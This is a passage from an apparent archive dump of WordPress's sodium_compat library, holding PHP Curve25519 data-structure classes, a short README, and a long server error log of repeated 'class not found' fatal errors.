            (int) ($this->container[9]->toInt())
        );
        return array(implode(', ', $c));
    }
}
Core32/Curve25519/.htaccess000064400000000000152222652550011065 0ustar00Core32/Curve25519/README.md000064400000000332152222652550010556 0ustar00# Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
Core32/Curve25519/Ge/P3.php000064400000003242152222652550010630 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P3', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
Core32/Curve25519/Ge/P2.php000064400000002541152222652550010630 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P2', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
Core32/Curve25519/Ge/P1p1.php000064400000003344152222652550011072 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->X = $x;
        if ($y === null) {
            $y = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->T = $t;
    }
}
Core32/Curve25519/Ge/Precomp.php000064400000002775152222652550011765 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->xy2d = $xy2d;
    }
}
Core32/Curve25519/Ge/.htaccess000064400000000000152222652550011420 0ustar00Core32/Curve25519/Ge/Cached.php000064400000003415152222652550011517 0ustar00<?php


if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Cached', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
Core32/error_log000064400001151727152222652550007542 0ustar00[24-Mar-2024 11:54:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[24-Mar-2024 11:54:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[24-Mar-2024 11:54:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[24-Mar-2024 11:54:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[24-Mar-2024 11:54:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Mar-2024 11:54:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Mar-2024 11:54:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Mar-2024 11:54:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Mar-2024 11:54:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[24-Mar-2024 11:54:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[24-Mar-2024 11:54:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[24-Mar-2024 11:54:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[24-Mar-2024 11:55:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[24-Mar-2024 11:55:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[24-Mar-2024 11:55:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[24-Mar-2024 11:55:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[24-Mar-2024 11:55:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[24-Mar-2024 11:55:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[24-Mar-2024 11:55:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[24-Mar-2024 11:55:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[24-Mar-2024 11:55:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[24-Mar-2024 11:55:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[24-Mar-2024 11:55:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[24-Mar-2024 11:55:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[24-Mar-2024 11:55:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[24-Mar-2024 11:55:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Sep-2024 22:09:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Sep-2024 22:09:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Sep-2024 22:09:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Sep-2024 22:09:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Sep-2024 22:09:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:09:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:09:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:09:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:09:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Sep-2024 22:09:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Sep-2024 22:09:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Sep-2024 22:09:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Sep-2024 22:09:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Sep-2024 22:09:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Sep-2024 22:09:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Sep-2024 22:09:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Sep-2024 22:09:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Sep-2024 22:09:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Sep-2024 22:09:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Sep-2024 22:09:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Sep-2024 22:09:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Sep-2024 22:09:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Sep-2024 22:09:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Sep-2024 22:09:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Sep-2024 22:09:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Sep-2024 22:09:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Sep-2024 22:16:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Sep-2024 22:16:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[02-Sep-2024 22:16:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Sep-2024 22:16:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[02-Sep-2024 22:16:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:16:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:16:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
